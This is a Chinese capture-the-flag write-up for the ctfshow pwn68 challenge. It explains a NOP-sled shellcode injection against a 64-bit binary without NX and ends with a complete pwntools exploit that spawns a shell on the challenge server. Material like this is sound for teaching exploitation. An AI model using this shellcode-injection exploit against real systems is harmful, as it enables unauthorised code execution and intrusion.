yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn68

pwn68

ctf.show pwn68

目录


题目

预计时间

2h

题目分析与截图

nop seld 的原理我在pwn67的wp中提到,这里我不在说了

这道题和前面的pwn67几乎是一样的题目,唯一不同就是pwn67是32位,pwn68是64位。

我们先checksec看一下程序的保护机制

和pwn67一样都是开启的canary但是没有开NX,那么我们仍然可以使用shellcode注入

我们先看一下ida反编译出来的 main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *position; // rax
void (*v5)(void); // [rsp+8h] [rbp-1018h] BYREF
char seed[4104]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v7; // [rsp+1018h] [rbp-8h]

v7 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
logo();
srand((unsigned int)seed);
Loading();
acquire_satellites();
position = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
printf("What will you do?\n> ");
fgets(seed, 4096, stdin);
printf("Where do you start?\n> ");
__isoc99_scanf("%p", &v5);
v5();
return 0;
}

query_position函数

1
2
3
4
5
6
7
8
 char *query_position()
{
char v1; // [rsp+Bh] [rbp-15h] BYREF
int v2; // [rsp+Ch] [rbp-14h]

v2 = rand() % 1337 - 668;
return &v1 + v2;
}

程序的逻辑:

  1. 程序先输出一串字符串+position(query_position函数return的&v1+v2)
  2. 用户输入一串长度为4096的字符串
  3. 输入v5的地址

写题思路:

我们看main函数可以发现,栈中有一个大小为4096的seed数组并且需要我们自己写入,那么我们就可以将我们的shellcode写入,并且在程序提示我们要输入v5的地址时将我们shellcode的地址输入进去

canary怎么办??

我们需要明白,canary是在返回地址的前面,当我们使用覆盖返回地址的方法来写shellcode时,我们才需要去处理shellcode,但是在这道题中我们并不使用覆盖返回地址的方法来写的,而是通过在seed中写入shellcode并且输入v5的地址跳转到shellcode

我只是大致说一下思路,我并没有去考虑nop,所以我直接说的就是shellcode,但是并不影响

我大致画了一下栈的布局

This an image

我们这里需要算一下v5的位置,因为v5是需要我们输入的,并且程序会输出一个position(v1+v2),我们就可以利用position来反推v5的位置

我们一步一步来推导

  1. position = &v1 + v2
  2. v2 = rand() % 1337 - 668
  3. position = &v1 + random()% 1337 - 668
  4. v1 = position - random()%1337 + 668
  5. v1到seed的距离: 0x15 + 0x8 + 0x8 + (1018h-1010h) = 0x2d
  6. seed的位置是:v1+0x2d = position - random()%1337 + 668 + 0x2d
  7. v5:position + 668 + 0x2d
  8. nop的数量可以是:max(random()%1337)= 1336

所以我们的shellcode = nop * 1336 + arm(shellcraft.sh())

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = 'amd64'
p = remote('pwn.challenge.ctf.show', 28242)
p.recvuntil("current location:")
position_addr = eval(p.recvuntil("\n",drop=True))
print(position_addr)
payload = b"\x90" * 1336 + asm(shellcraft.sh())
p.recvuntil(">")
p.sendline(payload)

#输入v5的地址
v5_addr = position_addr + 668 + 0x2d
p.recvuntil(">")
p.sendline(hex(v5_addr))
p.interactive()

写exp的时候遇到了一个特别不起眼的问题,但是就是这个问题让我一直打不通

1
p.sendline(hex(v5_addr))

我这行原来写的是:p.sendline(str(v5_addr))

str与hex的区别就是

  • 当我使用str时,地址会转化成10进制,那么我们发送地址就会失败,不能打通
  • 当我使用hex时,地址会转化成16进制,发送的地址就是16进制的,可以打通